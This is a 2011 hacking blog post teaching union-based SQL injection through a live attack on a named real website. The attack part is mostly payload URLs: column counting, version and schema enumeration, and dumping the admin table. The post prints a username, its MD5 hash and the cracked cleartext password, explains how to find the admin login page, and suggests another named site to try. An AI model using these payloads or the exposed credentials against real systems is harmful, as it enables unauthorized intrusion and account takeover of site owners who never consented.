Tuesday, May 17, 2011

SQL injection

What is SQL injection ?
SQL stands for Structured Query Language. It is very high level language,I mean close to humans.
Like SELECT,INSERT,DELETE,UPDATE queries are used to select,add data,delete data,update data
respectively.SQL is used to
design the databses. The information is stored in databses.
SQL injection is the vulnerability occuring in database layer of application which allow attacker to see
the contents stored in database. This vulnerabilty occures when the user's input is not filtered or
improperly filtered.Example the webpages links in format 
www.anything.com/something.php?something=something, example 
Here we are passing 130 to database and it returns the results accordingly. Lets attach a single quote at the end (') that is
and we got an error on the screen because it included the single quote (') while processing the results. It assures us that it didn't filter our input and is vulnerable to attack.

Some basics-:
Every database server has databases on it. Every database has tables in it, tables have columns in it and finally data is stored in columns.


We Have chosen database "explore_hacking" from six databases. Its has four tables admin,articles,products,subscribers. Each table has further columns and data stored in them . For example we chose 'admin' table, it has columns id,username,password,email.

 What is information_schema ?
It is information database present in all SQL database severs(version>5) by default. It contains
information like names of tables,columns present in all other databases.

We have opened database "information_schema" which is present by default and the table named as "TABLES" in database.

SQL Injection Tutorial :- 
 This tutorial is only for educational purposes. Kindly do not misuse it.
Log on to http://www.tartanarmy.com/news/news.php?id=130. Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here" and open in new tab.

Step1.Find number of columns.
Lets use "ORDER BY" clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10."--" is used for making anything after it comment.
Now go to this URL
http://www.tartanarmy.com/news/news.php?id=130 order by 10-- Click here
Actually we instructed it sort the result by 10th column. But it returned us with an error,this
means number of columns are less then 10. Lets replace it with 9.

http://www.tartanarmy.com/news/news.php?id=130 order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we dont get any error.
Finally we reach on '6'
http://www.tartanarmy.com/news/news.php?id=130 order by 6--
we didn't get any error, this means there are 6 colums.

Step 2.Find vulnerable columns.
Now lets use "UNION ALL" and "SELECT" command. Remember to put dash (-) before 130.
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6--. Click here
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.

Step 3. Find database version.
Replace the most vulnerable column with "@@version" or "verson()" (if first one doesn't work).
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6-- Click here
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema" which stores information about tables/columns of other databases. in version less than 5.

Step 4. Finding table names.
Replace vulnerable column no. with "table_name".
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from  
 information_schema.tables where table_schema=database()--
Click here
We got first table name on the screen.

To get all tables use group_concat
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where                                             table_schema=database()-- Click here

Step 5.Finding column names.
Simlary get all the columns by simply replacing 'table' with 'column'
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from 
information_schema.columns where table_schema=database()-- 
Click here
There is a repeating element like in this case is 'id' .From it, we come to know which table number
has which columns.

Step 6.Fetching data from columns. 
We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a" is used simply to insert a colon in result  to separate it, it is hex of colon.

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--. Click Here

So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say 
"Sneds". The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .Lets logon to http://md5crack.com/crackmd5.php and put the hashed(encrypted) password here.
And it would crack for us. We got 'oorwullie' in result ( password in clear text).

Note:Hashes are type of encryptions which are irreversible.  There are numberless online crackers  available. Keep trying. Sometimes very strong hashes can not be cracked. 
Where is the login panel or login page of website ?
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say www.XXX.com. The login page would be at
www.XXX.com/admin , www.XXX.com/administrator , www.XXX.com/adminlogin etc.
Download this admin page finder from here and it would try all these default pages.

you can also try 
█ http://www.shelter.org/org/news.php?id=5' █


Post a Comment

Share our post if you like it..

Related Posts Plugin for WordPress, Blogger...

IP info



study (19) education (18) coding (11) Codes (9) ciphers (9) cryptology (9) CRYPTOGRAPHY (8) Hacking Tutorials (5) Ethical hacker/hacking (4) Exploits and Incident Handling (4) HACKING WINDOWS (4) Make A Cipher (4) Windows (4) password breakers/crackers (4) Dictionary (3) Ebook (3) Facebook (3) Facebook Emoticons (3) Google Dork (3) Google Hacks (3) facebook symbols (3) php hack (3) tools (3) ASCII art (2) Facebook Animated Gif Image Status (2) GRE (2) GRE Dictionary (2) Hack a Website (2) IELTS (2) Java: A Beginner's Guide (2) Password Cracking (2) Password Recovery (2) SOCIAL ENGINEERING TOOLKIT (2) Session hijacking (2) find the vulnerability (2) java (2) password-auditing (2) password-cracker (2) php (2) Abel (1) Backtrack 5 (1) Barron’s GRE word list (1) Breaking Ciphers (1) CIPHERTEXT (1) CRYPTANALYSIS (1) Caesar's Shift Cipher (1) Cain (1) Cain and Abel (1) Crypters Binders RC4 (1) DOS (1) Facebook Chat Text Generator (1) Fast leech generator (1) Hacking Tools (1) HconSTF (1) List of best anonymizers (1) Make fake virus (1) Number Shift Cipher (1) One Pig's Pen (1) RFI (1) Remote file inclusion (1) SEO (1) SQL injection (1) Security 504 Hacker Techniques (1) Steal/trace ip (1) The Key (1) The Rail Fences (1) Toefl (1) Uses of proxy server (1) Virus (1) Vocabulary Word List (1) Winding Way Cipher (1) blog tips (1) brute force (1) brute forcing. (1) brutus (1) brutus-aet2 (1) brutus-aet2.zip (1) brutus-password-cracker (1) bypass web-filters (1) chat (1) command prompt (1) cookie stealing (1) crackers (1) e (1) fast download (1) hacking-software (1) hot file (1) improve site (1) ip catcher (1) ip tracker (1) leech (1) leecher (1) list of proxy servers (1) mail (1) mega upload (1) mobile (1) network-sniffing (1) rapid share (1) regular download link into premium (1) serial keys 94fbr (1) symbols (1) th3j35t3r's DOS tool (1)



☁ Partners Link Cloud ☁